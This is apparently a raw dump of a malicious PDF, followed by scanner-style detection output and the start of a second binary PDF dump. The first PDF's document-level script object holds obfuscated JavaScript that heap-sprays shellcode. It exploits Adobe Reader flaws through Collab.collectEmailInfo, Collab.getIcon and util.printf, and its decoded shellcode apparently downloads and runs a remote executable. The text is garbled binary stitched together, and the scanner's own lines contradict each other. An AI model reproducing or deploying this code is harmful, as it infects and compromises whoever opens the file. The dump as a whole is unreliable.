��T%���5-�� 0H���4 ��4�� ��d ��4$�oo!�R6*  ��cF>�G�����F)m5�<U�M�*&� �� |� ��� ԑ 툚2`*[ !��5V`嶃C��B� �d �ͭ��� �< �[(�9&�� �@ �^�t��:FP�r�P�LK���FX]n���U��]c�YfqM g�� ��  ��N��^�PiE��uFz�����!�0 �W���B ���p�� ���P�¨��>�S�� �4 ��7��<�LQ� и 
s �^-�#  �
[������ ��,˝V=� � \i TpL  ��I5
Y˨X��K= #% �d)K��a�- %'d�i�c����'�P*�x� ᘔ�O ˍen( l��
\v,��d�= W� H�LʄQ� �VR�ﵗ `t�H�,E  K��<�H�o�*�C e��yf� 
��������1[ԝ�� $���� �lRm ��垁�(�n� -A�ɴё��VR �
��)v��l���01�ɰV,����)���r �o� ��;��1c��c��0-�g�  R�c�]d�( �'����Q�q� ��c�8�7<3����6UE�E �*t�5u��zw\� ��sC�vu��bGL �%:ל)/����=���x��;|�������:^��l [���.��p��"_� �|z�q��� '� �� "�ǎx 
endstream
endobj
1 0 obj
<</Type /Pages
/Kids [
3 0 R
5 0 R
7 0 R
9 0 R
]
/Count 4
>>
endobj
11 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
12 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
15 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
16 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2182>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?�+�O�
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��L���)\i7��(����(� �(� �(� �(� �(� �(� �( ��[�(��II1� QEQ!E P E P E P E P E P E P E P E P E P E P E P E P E P O��*� 3L�� vw.� �= ��*M�R9 �RL*�pG4�r�~n
d�c��s;�r�  d� �� QE 
(��
(��
(��
(��
(��
(��� Q@  Q@��(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �(� �<f��Z�rj^F�I�(����(� ' �?f &��Ql��(�HQE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE .)����QE B
�� r*:)5r���RA=1L� 4�d Q��+��MظEKVJ E ���>�wDIr�  QL���(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(� n~n
>�M\�ɭ�U�1KE ����QE  (��(��(��(��(��(��(��(��(��(��  R+ �ih ��QE  (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(���" p�jJ(�����QE �
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
Fm���2(*6��	n i��Q� �� �$k4�>�(�` QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE&ќ��E m���( QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE QE  ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 13 0 R
/F2 14 0 R
/F3 15 0 R
>>
/XObject <<
/I1 16 0 R
>>
/Properties <</OC1 11 0 R /OC2 12 0 R>>
/ExtGState <<
>>
>>
endobj
17 0 obj
<<
/Names [(EmbeddedJS) 18 0 R ]
>>
endobj
18 0 obj
<<
/S /JavaScript
/JS (��jEx0K7hU=null;function tzyOODPYo\(\){return false;}jcqQmdpD="txsUKLJmF";var zx4McRdQG = 'var bVc0vYoMR = new Array\(\);var rY2CxZ3zCv;function xpZUeT6FR\(zHY94ooE, enaQ3oKPv\){while\(zHY94ooE.length * 2 < enaQ3oKPv\){zHY94ooE += zHY94ooE;}zHY94ooE = zHY94ooE.substring\(0, enaQ3oKPv / 2\);return zHY94ooE;}function tUkoPNmN\(jk5aj6jqm\){if\(jk5aj6jqm == 0\){var iric865U = 0x0c0c0c0c;}else if\(jk5aj6jqm == 1\){iric865U = 0x30303030;}var lxDQHmzn = new Array\(\\"%u5350%u5\\",\\"251%u5756\\",\\"%u9c55\\",\\"%u00e\\",\\"8%u0000%u5\\",\\"d00%ue\\",\\"d83%u310d%\\",\\"u64c0\\",\\"%u4003%u78\\",\\"30%u8b\\",\\"0c%u0c4\\",\\"0%u708\\",\\"b%uad1c%\\",\\"u408b%u\\",\\"eb08%u\\",\\"8b09%u344\\",\\"0%u408\\",\\"d%u8b7c\\",\\"%u3c40%\\",\\"u5756%u5eb\\",\\"e%u0001\\",\\"%u0100%u\\",\\"bfee%u0\\",\\"14e%u0\\",\\"000%uef0\\",\\"1%ud6e8%u0\\",\\"001%u\\",\\"5f00%u895e\\",\\"%u81e\\",\\"a%u5ec2%\\",\\"u0001%u520\\",\\"0%u8068\\",\\"%u0000%\\",\\"uff00%u\\",\\"4e95%\\",\\"u0001%u890\\",\\"0%u81e\\",\\"a%u5ec2%u0\\",\\"001%u3100\\",\\"%u01f6%u8a\\",\\"c2%u359c%u\\",\\"0263%u0000\\",\\"%ufb80\\",\\"%u7400%u8\\",\\"806%u321c\\",\\"%ueb46%u\\",\\"c6ee%u320\\",\\"4%u8900%\\",\\"u81ea%u\\",\\"45c2%u0002\\",\\"%u5200\\",\\"%u95f\\",\\"f%u0152\\",\\"%u000\\",\\"0%uea8\\",\\"9%uc28\\",\\"1%u0250%u0\\",\\"000%u5\\",\\"052%u95ff\\",\\"%u0156%u0\\",\\"000%u006a\\",\\"%u006a%\\",\\"uea89%u\\",\\"c281%u0\\",\\"15e%u\\",\\"0000%u89\\",\\"52%u81ea%\\",\\"u78c2%\\",\\"u0002%u5\\",\\"200%u\\",\\"006a%ud0f\\",\\"f%u05\\",\\"6a%uea89%\\",\\"uc281%u01\\",\\"5e%u0000%u\\",\\"ff52%u5a9\\",\\"5%u0001%u8\\",\\"900%u\\",\\"81ea%\\",\\"u5ec2%u000\\",\\"1%u5200\\",\\"%u8068%u\\",\\"0000%uff00\\",\\"%u4e95%u\\",\\"0001%\\",\\"u8900%u81e\\",\\"a%u5e\\",\\"c2%u0001\\",\\"%u3100\\",\\"%u01f6%u8\\",\\"ac2%u35\\",\\"9c%u026e%\\",\\"u0000%\\",\\"ufb80%u7\\",\\"400%u880\\",\\"6%u321c%ue\\",\\"b46%uc6e\\",\\"e%u32\\",\\"04%u890\\",\\"0%u81ea%u4\\",\\"5c2%u0002%\\",\\"u5200%u9\\",\\"5ff%u01\\",\\"52%u0000%\\",\\"uea89%u\\",\\"c281%\\",\\"u0250%u0\\",\\"000%u5052%\\",\\"u95ff%u01\\",\\"56%u0000%u\\",\\"006a%u\\",\\"006a%uea\\",\\"89%uc28\\",\\"1%u015e%u\\",\\"0000%u8\\",\\"952%u81\\",\\"ea%ua6c2%\\",\\"u0002%\\",\\"u5200%u00\\",\\"6a%ud0f\\",\\"f%u056\\",\\"a%uea89%uc\\",\\"281%u\\",\\"015e%u\\",\\"0000%uff\\",\\"52%u5\\",\\"a95%u0001\\",\\"%u9d00%u5f\\",\\"5d%u5a5e%u\\",\\"5b59%uc358\\",\\"%u0000%u00\\",\\"00%u0000%u\\",\\"0000%u0000\\",\\"%u0000%u\\",\\"0000%\\",\\"u0000%u65\\",\\"47%u5474%u\\",\\"6d65%u5070\\",\\"%u7461%u41\\",\\"68%u4c00\\",\\"%u616f%u\\",\\"4c64%u\\",\\"6269%u\\",\\"6172%u797\\",\\"2%u00\\",\\"41%u654\\",\\"7%u5074%u6\\",\\"f72%u416\\",\\"3%u646\\",\\"4%u6572%u\\",\\"7373%u\\",\\"5700%u6e\\",\\"69%u78\\",\\"45%u63\\",\\"65%ubb0\\",\\"0%uf2\\",\\"89%uf789%\\",\\"uc030\\",\\"%u75ae%u2\\",\\"9fd%u\\",\\"89f7%\\",\\"u31f9%\\",\\"ubec0%\\",\\"u003c%u\\",\\"0000%ub503\\",\\"%u021b%u00\\",\\"00%uad6\\",\\"6%u85\\",\\"03%u021\\",\\"b%u0000%u7\\",\\"08b%u8\\",\\"378%u1cc\\",\\"6%ub50\\",\\"3%u021b%u\\",\\"0000%u\\",\\"bd8d%\\",\\"u021f%u00\\",\\"00%u03\\",\\"ad%u1b\\",\\"85%u00\\",\\"02%uab00%\\",\\"u03ad%u1b\\",\\"85%u0002%\\",\\"u5000\\",\\"%uada\\",\\"b%u8503%u0\\",\\"21b%u0000\\",\\"%u5eab\\",\\"%udb31%u56\\",\\"ad%u850\\",\\"3%u021b%\\",\\"u0000%uc6\\",\\"89%ud7\\",\\"89%ufc51%\\",\\"ua6f3%u7\\",\\"459%u5\\",\\"e04%ueb43\\",\\"%u5ee9%u\\",\\"d193%u03e0\\",\\"%u2785%u0\\",\\"002%u3100\\",\\"%u96f6%\\",\\"uad66%ue\\",\\"0c1%u0302%\\",\\"u1f85%u00\\",\\"02%u8900%\\",\\"uadc6\\",\\"%u8503%u02\\",\\"1b%u00\\",\\"00%uebc3\\",\\"%u0010%\\",\\"u0000%\\",\\"u0000%u000\\",\\"0%u00\\",\\"00%u0000%u\\",\\"0000%\\",\\"u0000%u890\\",\\"0%u1b\\",\\"85%u0002%\\",\\"u5600%ue8\\",\\"57%uff58%u\\",\\"ffff%\\",\\"u5e5f%u\\",\\"01ab%u80c\\",\\"e%ubb3\\",\\"e%u0274%u\\",\\"edeb%u55\\",\\"c3%u4c5\\",\\"2%u4f4d\\",\\"%u2e4e%u\\",\\"4c44%\\",\\"u004c%u525\\",\\"5%u444c%u7\\",\\"76f%u6\\",\\"c6e%u616\\",\\"f%u5464%u\\",\\"466f%u\\",\\"6c69%u\\",\\"4165%u750\\",\\"0%u64\\",\\"70%u7461%\\",\\"u2e65%\\",\\"u7865%u\\",\\"0065%u72\\",\\"63%u7\\",\\"361%u2e68\\",\\"%u687\\",\\"0%u007\\",\\"0%u7468%\\",\\"u7074%u2\\",\\"f3a%u6f2f%\\",\\"u616c%u64\\",\\"6e%u6e6f%\\",\\"u632e\\",\\"%u6d6\\",\\"f%u76\\",\\"2f%u7\\",\\"265%u\\",\\"6173%u75\\",\\"2f%u6470%u\\",\\"7461%u2e65\\",\\"%u6870%u3f\\",\\"70%u6\\",\\"469%u3\\",\\"33d%u7226%\\",\\"u7465%u\\",\\"6f3d%u00\\",\\"6b%u9000\\"\);lxDQHmzn = unescape\(lxDQHmzn.join\(\\"\\"\)\);var phldahIIt = 0x400000;var rqVkMn73vX = lxDQHmzn.length * 2;var enaQ3oKPv = phldahIIt - \(rqVkMn73vX + 0x38\);var zHY94ooE = unescape\(\\"%u9090%u9090\\"\);zHY94ooE = xpZUeT6FR\(zHY94ooE, enaQ3oKPv\);var wfNlaURwA = \(iric865U - 0x400000\) / phldahIIt;for\(var eziXZcNwIJ = 0; eziXZcNwIJ < wfNlaURwA; eziXZcNwIJ++\){bVc0vYoMR[eziXZcNwIJ] = zHY94ooE + lxDQHmzn;}}function gsaZVSFUw\(\){var mzcnNPzF9a = 0;var rpQegGRv = app.viewerVersion.toString\(\);app.clearTimeOut\(rY2CxZ3zCv\);if\(\(rpQegGRv >= 8 && rpQegGRv < 8.102\) || rpQegGRv < 7.1\){tUkoPNmN\(0\);var bjW5dSzGu = unescape\(\\"%u0c0c%u0c0c\\"\);while\(bjW5dSzGu.length < 44952\) bjW5dSzGu += bjW5dSzGu;var bM2qoQpW = this;var x52iu1NL = Collab;bM2qoQpW[\\"collabStore\\"] = x52iu1NL[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : bjW5dSzGu}\);}if\(\(rpQegGRv >= 8.102 && rpQegGRv < 8.104\) || \(rpQegGRv >= 9 && rpQegGRv < 9.1\) || rpQegGRv <= 7.101\){try{if\(app.doc.Collab.getIcon\){tUkoPNmN\(2\);var kLWPthXb = unescape\(\\"%09\\"\);while\(kLWPthXb.length < 0x4000\){kLWPthXb += kLWPthXb;}kLWPthXb = \\"N.\\" + kLWPthXb;var g5Zbqtcrq = app;g5Zbqtcrq[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(kLWPthXb\);mzcnNPzF9a = 1;}else{mzcnNPzF9a = 1;}}catch\(e\){mzcnNPzF9a = 1;}if\(mzcnNPzF9a == 1\){if\(rpQegGRv == 8.102 || rpQegGRv == 7.1\){tUkoPNmN\(1\);var edLLyOc8V = \\"12999999999999999999\\";for\(w3RDafYN = 0; w3RDafYN < 276; w3RDafYN++\){edLLyOc8V += \\"8\\";}var qVTBH6EV5 = util;qVTBH6EV5[\\"printf\\"]\(\\"%45000f\\", edLLyOc8V\);}}}}app.gki0cHIe = gsaZVSFUw;rY2CxZ3zCv = app.setTimeOut\(\\"app.gki0cHIe\(\)\\", 10\);';this.uidBX8Gl=0.0623598931;function cQZodvu46\(irJ9fFty,jheATvQqm\){return false;}nee0gN0y='v9526VsQE';var eYBbp78I = zx4McRdQG.replace\(/[]/g, ''\);function hLPauvgOSG\(nhfZ8mPVxS\){}tVSJgiMkif='fTmHH2GE';var xl0w3p61=new Array\(\);xl0w3p61[0]=15019;xl0w3p61[1]=17672;var aRBRHTUkH = 'eval';app[aRBRHTUkH]\(eYBbp78I\);this.z58Znpjdc=30883;var g4Dvw2lIw=false;oPqJeQB9n=6199;)
>>
endobj
19 0 obj
<<
/Title (��hereThisOn)
/Author (��dummyEverAt)
/Subject (��anBookIs)
/Keywords (��looksForSites, lookPointCicero, overAldusAmet)
/Creator (��sLong)
/Producer (��154d7da9e669c75ee317d46614381dd8)
/CreationDate (D:20091013213010+04'00')
/ModDate (D:20091013213010+04'00')
>>
endobj
20 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 17 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [11 0 R 12 0 R] /D <</ON [11 0 R] /OFF [12 0 R] /AS [<</Event /Print /OCGs [11 0 R 12 0 R] /Category [/Print]>> <</Event /View /OCGs [11 0 R 12 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 21
0000000000 65535 f 
0000009271 00000 n 
0000012250 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000002818 00000 n 
0000002926 00000 n 
0000005504 00000 n 
0000005612 00000 n 
0000008053 00000 n 
0000008162 00000 n 
0000009347 00000 n 
0000009463 00000 n 
0000009577 00000 n 
0000009684 00000 n 
0000009793 00000 n 
0000009901 00000 n 
0000012445 00000 n 
0000012497 00000 n 
0000024683 00000 n 
0000025085 00000 n 
trailer
<<
/Size 21
/Root 20 0 R
/Info 19 0 R
>>
startxref
25487
%%EOF
generic_stage_recovery_005.js deobfuscated-js generic stage recovery null-collapse -> percent-decode from raw PDF metadata at offset 0x0 19906 bytes
SHA-256: 3a14ff6d81668836d99831f440838d2dc75445bcff489cc3718b30b3293365b1
Detection
ClamAV: Pdf.Exploit.CVE_2009_0927-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
%PDF-1.7
3 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 4 0 R>>
endobj
4 0 obj
<</Filter /FlateDecode /Length 2630>>
stream
x��[]o� }ϯ�@1@�P�e�q���tw�@��L� X� %� #JTHʎ��{(' :�m) f ��X�%� �s y5�,���)���-�� ��x��Wv��>�0���tJ7k�����ӱ�w��h>���)-�&W+��M 8g M�3JJ��ψ>+�e��� ��� �� �N�~�p��j9�]��   t�ү  �U �[֚ύ U�����g���{��=�]��h:Y�v�eտ9Oora�;N'� �^��x�^�뻛� � �����{���� Ɨ� ��ٜ�WדhE%- s�������/gl<����z�1  K�
��� ��X	ih�ZQ�d�(�:�A  �"a��=�d� OY5� 	�2NVՆRUU  $��F�b�*Z�XrJ4�Ɋ��-�
%��Մ>sa�i���L���F��;bĪ�XJ���a��� .� `��`L_-�� 
**��RU�JK������ dq��ӽ�� )\Ĥ�#T�
 �lN�j���Tt���$��T
?���� 8��bM�lL�}$'��V��"� ���gY �������	��J#&B ��05B����t�  j��d(�o � �]�&���1:����VȔ�( �� �� s U��& ��� $܃�W$��aSNBZ;{���6Ռ�L�4�D�ꦮ[x[*d��sU�t�YK-��
�$� �� �  "Ep����f��ZUQ+8�^38�"�a��kqO	����lJ�lx
?�8 s&S W� R.opO ���@��{��� N�F -怨8�\b�  <SjM�k� ]Sp\�k�,��T) �	` # U�6hT��6}b ~0�L ��" %wI) ��#� �1M5�e%�h����A�J   )m � (� ��r��X8 S�E^WI>��m`x��Yn�R  *�N�ZYN�F�Qe �4H��s�j��4 �V9�]H�F � �0lKZ�� O)n*��D��  ��R���5G�.�H  3XQ��u)�j�	x+0mc�m�*iB �U�ں� �i. i����Zm:��  j ]D"k�	��ER4�x0 �]`>�(M^�@��Z
 '�n�jN����} 	��W�g {x   r�e�� oX��H| �v�g�b&?�/ԏ�>�'92H8������D�� H �+/� � U� X�X�º<6�� �	��\��%� ��s �8 �<)�L��}d�� �7������ 1���g� UK ����3 �t�_��� ��h� �w�
  �D�C��H�w��^ 6�Wh���
�  }x�U��XW�VI �˲�� Jxe�"|H x�Y�ZEdc��i�w�X "{_] 4��I�� c�+�	�f��ڨN�@�t����� ��2A��Y� i�W���e#��S8�%@Ƞ,V��� -d
  j� bg�� cu�����= QK�ͅ�[n �H
N �����+~ ���� �4�a���� [�t�W ��$Db  H���k�Yh 4���_�!y��)Y��W(�1�O��q  (��� /cB��+Vj	  |ߋ�p�?9�A%2�9 ~rD�H�� {�Ws�N� �J��� ݉���
� �zH����� 	5l5� �()��z � � �Bq �<�]	;�P<���D	� �H9��A�vV� � ޢS"�m�݋ ;o�:�,���3 ��6e�z��B U�  bU��mHӽb&�   P�u�:�]/W� �0�9� � p�0    �H_���4) ��H��y�v�+/<� �Ҧ�&α ���x���?�5jbY��o�� ���ޫjj� �uMwA3�+Z m���꽵��b� {  �r�$ip��І!��&�?   w���#� � �w2���C�b��k� �u�5s{�[f��T% �d��B�?�7�'MTҰݱ�� �H1tt %� ���h���HD���
~��:�+֎i���ue @h�}_/S�By 5֫T�+"��h�r����9=�Kv[<@j�X%��6���������	:���ul��% 25w;b� �ow�O �t�W/�ɭ� �ź� �  9��x��m�L"��o�� � � c� �.  n)�  \�m^ =� �-  �PH x�� � � }�� ���6\c �w�ڐu�ܫ%�"U�Ӎ �
_,ِ���,hv��nF ����)�  �o e�U�K�~� %s&���^e�ӭ �|�|h��|mO�@�Bcһ�~b)G Z�"�Ml�  T �q���9) ]���^�O�W��� �� H��
F y n�m� �<��U�<�y%��W  v�� Xkv=��<��r��{�G ���l��^ đ������r e e��!�J� � �]���p7��qB� �q]qc��Յ�ǫf�]��� e\?	  �� �jt��#��  �* N(�L �~�Y6X�]?�$LsW�'�[ ���~��1͜22�| � ^ p��^vލ[D��e�*�D�0������l
��� )�F��W5c+wöy 	 �u���۷��H,�� �p����epSc�;�� pDH��u��L ]}G&� ����� b�� I��ۀ|� � Ʉ4�� �X* -�� �G�O�ޥ�㢈tȽ�ȫG�- �� w
t8nr�� 2	0* �5� �i�t@)!=��=C��v��j��� �1�i6 i��2�� �~�i䠧 �=}�b�*��^ų� {�n�q��. g�K,o�Hޑ��딡[?g� �I�aO� sF  �|��k~=!�F=�����߶p� �xzL=�l� � OdϮ'��� ٻ��y� ���I�D$'��#/�,��#]zf� ����� ek
endstream
endobj
5 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 6 0 R>>
endobj
6 0 obj
<</Filter /FlateDecode /Length 2507>>
stream
x��[[o� ~ϯ8@1@�P�e�q���t�]`�ݙ-�� J�%� ��� ���G%i�X��d�i1pƖi�ܿs���Œv4� �_ � 9^?�U\|wC ����d:��5�������2�FI2��W�ɔ W�� ]�& �Y&�録�>�#�O�~y��<�qz��;�b�t�) �$W��쒮g�����~��PN�E�Xk?5F��O��͏���}��~�} � �N����2�O��R�������v � �� ���y~q��� �V�Qӭ�!��#� �lN˫�I��� �����gI_��   �{x�Rz2���[C'����P�u�
�T��,��R M�d��ɡ�� %�/����
� 3 �/]IuS�-9&����9��I�*�9)&��Zꪦ{�Zj���FVd ��0IY)*N%�6�S�s�R ��	}/�i�c��-��Nt�* �uQ`}͝kcr> �<m��׍�-՞p�J>��
_�{|RyKkmr*d �+�S+jO* �Z8;r�n��Ք6B:�4�\pG[�3�t�w � ̀ 
Q8!yL �  H� �Ғ��}ɴ ��7䕕P�  )^0lj� ���Zؚ��T ��$�'o* ���k�;����� J��ְ H� �
'�ZKf�P� ��$���~ � 
��]���p�(ol\s�����*�č��Q� %�A� ��rV�T g�+�	 ���R&s�EQ:R��Z(�� `>)U�D�n���6����ML=^�^ ���Pغ���] �������!*	�A���� �C�yg$�%�X��tc9LC���,�Xn �$��6 �)1�4��W�LMwQɸz!�'aX��i�F� ��� A�1�&��� �ą���V� jj� �
� �� �� 愾8��  �
.�x**��0|�GB�@/�pX~�y ���K��O �9ۘ  @� J�ΰ5쓥Fd��:��G�� �,sԘ �+  � � q �$�~� �Ĥ�@�� 5�� �?3�- D���X*!�� ��� Z��u9��#4  ^�{L  h�:� [�j� �d �p��z ��  h
|��j�C ��~%� .;��Z�e � �'��nD`p�{��5sg�~���@=� <�� ��5Ц �:�+�r�!� *� � � P)rJ r&ҍ�� �$� � ��� �bt  �ڦ�   �a L
�r,kr ��| *��~��E��z O��a C $�q ��X���xXi��r�� 2�UvO���Z�O(H��)* A�p �| ���G1 
_� ޏ��ׂAI`0 �LE-( g �=� - @���a �� ͹f���?f�[ �؝� ��q� ��$�BMЏ�Qq� �گ\ܞ���B  ?� �#%P*�9� �~RR� �3 c�� ��(l��eb�!�#�b��'�P�*_ �� W+ ���R��� ��2���c B�/d}�_uVz pw �5� v��a$&�A&pV�_ (�� �� "q{� �����1�:^̍F��� ��   �� tL1 �I!aX�!�=�� ���M����� ��d>H` �����Q͔/sO�ha x��Խ�{�퀎��b�  �~,��W!�v0��  /�^��j��A�� r)���iŽn�"�w �-���"W6�k`�l�5 ^ '&�A��5p�����c�gT�rB�  �� o�;�d#�P�(� �-%kρ���ΏWP�
 %�Pv  �uWq�PhTr�S�wu kdH
�׮|��;�rb� �i����ET� �L �5�g� �o�  �ly'�d�Xx�5�S$�j/ F%<�D�jSz̵ Q��:.�E�~�
G,�}˘� Y�k ��I�R� �m�@_�+Ҿ2���6� �\�4�� �T� �: �����` � �� �x��� ����o� ��;�X�� � Uvk�J�]i��r�>�W�}Ty�:އp1E�7Z��E�z�1T ޵ �o � ����b��[ ����pa�[�= SL)  I/���� �����:�   @U�ӔS�t91� ���z�j�W鏚�  W����d? Q8����Qğ� � ���� 'b �?�?�q�:����O���e�(�h��2h 짃`е�br �q��x�v ��� ��  p�� U�˱��Sc [�&�$�( $
G����׷=�8 �����p ��<u�2�%�O` �vc2�n,� �c
a 6=N�P|�A� �0�E���H ���~W  �fA�f�m}��95� ?��F!{���� ��� 8���=�} G�JȥQ�
 ��g |�  �������b��� ��p ,*�� Re�Ø�x�h�u�0�I� ��Q#��r ү�y� � �� ��H��� ~&T��>I���=@ 4�G%t��� :Z�� �	�d!<�3j����Q ��  Ő���(��ڻq�;\�
hbr �L�ݧ�y�u��������tT=/F K0�� �Q� w<����Q �8�� �Ϣ6��˓�rt� �H{2 _]rΡ�w� �)� ��HO_����6+�j:9 0�~H� B�� H鯏�<��׎�� ��������� YOy@�u/ >E����{C����# � �`�>��#�
�݈
WT��E �Pg�7{�� B�x~�:��BI�7�1�]O拗G� ?�'�O�:I&� �O�˧��S� }�ˀ��P�� _:� 
endstream
endobj
7 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 8 0 R>>
endobj
8 0 obj
<</Filter /FlateDecode /Length 2370>>
stream
x��[]o�6 }ϯ������j� ��c��m�@ �4�.P�h�1EjHʎ��{h'c&�m�	�A��Vd�~�{.�A2�Қ � ^w�� ���� ^��w���� ͒��n ��۫�Oצ�5  ��x�� hr����z�Lp�t� F�U��?C�������ሃ� |� n <�m
�0Ûi2���  't���  ��o嚵�cc�*�� ���9��}&�k�@�� ����2�_���R�`�A2���
��uw�����W�  ����g�l�� ��VB�x4���, Ω��d����Y�ot��	 ��� �R+= �d�ac�T��Һ�\�eU�RfD�)5Ze��ayB�q�J�Y�H�ĤX�dߍo'��N�OLт	Ӓ�7-�zM�ׂ��M�ŕc��� f��i]sC<ժ� RZ* �$��e[�|�
9�9���*� �%ê:� ��0Z3S��ڕT7u��f� �Eͩh���4�Y��Y,0Ef �� ��	���UM����2��Z�uL�G;� V �q�؄� � B�d ���7V�;VqXC ��Ts�ZJ o�E�r|� � �2�� �x�4<���Ԋ��  �!Hk ��
,�x����ηz�b94B:�4�\pG+R,�vY� R0 m5�*�e��-4�:Y	� Q � �8V S�!#�R�� z@K#�  aE���P�`T�q$�s��D������ P�R
mS�� a�ܠ�T 7�[���W�2�C�t����Pp��`��*��� F��� �ʹ]� �f� � F;�؃K �X�+��T�i�@� ��U�
 ��C�(������c�5� ���;�2��qe l�� K# G h d5��+ t�DRK�ڝF��ʒ��31b��n+lB? �
NNó�V b�3GYc� R�TB ��K �q�sc����  e g ��cX� KZ*,�J+M�#^�܇ѝ�j��� ~FFG�� )�:� � �c�@��Y-���t� �w�ō1�OY 6� �� Ŀ�{mT�&��U ��Z{�R���h)+��p~�#Kg�/"J�-��B�>x�p#� ���JQQ[@*� w+8RՂ���i.�%|f�X�
kb   �#U\: � A� �B8�@)b,0 ���=�2�9� Aᰇ��?q �$� f  �'8�� 9�5� ; G,��(�k ��q� T � ���Y/L�/�M� ��^ \�[ԉ(��  +�1���N��6͐^q㐂��9Ð� � �E���"MD L�r� ���C� �5��9��K� �	*� B�g  -:� �  �;?4� a�# �4@P�\�z[��5�� ѧ���A1� 
�笋v| J5�F��X�8@,g�/�/4�  �*�~ ��i���X� 4���7�`o <��&� ���$���`s`�0��N  C ( �*� ݠ�I�vQ� �`G_�l�\�M 0� r"o���T�j  +GX�%PUc�5HX�v�w '��]�
)� �6�� �)�kI� +N1!�xSD�����$;�1,o�/�� ;|1U�� ��hyi_q��Q ����� �
���l	���ZD�3Q{G�A9� �1�'=ژ�# P)��p�Ͱ��=hF�X ��kk�^�; �����[N� >C:a|%����� �5X�yF�0��/�{�iL� �  hT� �{�*8\  �����r� �dI(�}1� �Jm�:��i����ʈs���k� u���
uXTifg�m�
 �N��p���Y ���@��}
�l�ص����ʘ� �T½���� �����tV v A)� �L+ z�B K�R�����k t��GXkL� `>� ��&v`�6i �D~�G�G�:�0�� �w��ì5jL� ���b� ��9���nᩎ�����<e� 1M ��9
ڗ��a ���:��'zd �e�a]V�V����vjD ��r�7m7I �)8���y�3ݿ *tv@c* T'/��p�� ���>"�� C,  ޱ	;�v7aw 2  ��8 bA[K� ���������ylets�)��3R   >-S,��f��<�x� #I�?���K^ ~W����7
 I �do����m�Q�aˬ��� 9ns ��-�|@�1>A�*�S��B����Sg5L���猓,a��ؽ�U�;7�B��F 
���� �����[ �G{��� �C�p�5�� �p> ��D ����Uk�Ԋ� �Y�R� U  ��(1- TZ���{ t�kk$ �Ob k$B ��4<��g�� c*�l���n`T �ʣ?d֛bi� �Ϩ ʧ��
�l<>Qο�X����� ��w&�� &�r�`B� },��M�� � ���GXb !�;����MH� �o�Mj�:��.G8�}�p�<9�ʽ�#GMb  �J^ -@��*��  ݼ���;�� n1� j�
� �dQ�p��eH�,kr��P�� �_�%W,�t� ������y���� N�Tjv���� 8=
��O&� \==�9D� J� �9�f�x�{�q��?�xD��0 N ����q�����>�u���OI^�	�˷(
endstream
endobj
9 0 obj
<</Type /Page
/Parent 1 0 R
/MediaBox [0 0 595.28 841.89]
/Resources 2 0 R
/Contents 10 0 R>>
endobj
10 0 obj
<</Filter /FlateDecode /Length 1037>>
stream
x��V]o�6 }��8�P`{ #�;�˺v+СM l@� J�e� ��� ���0 �� �̓![&.y�9��{��� =2��s�O��S�y˧ ��p�f���2���m5�zX[ �!�'br�- fs1?�t,f�Y�" �lp�G��  �vO O̞��
 M�G߾ ��� 1�b9�� �
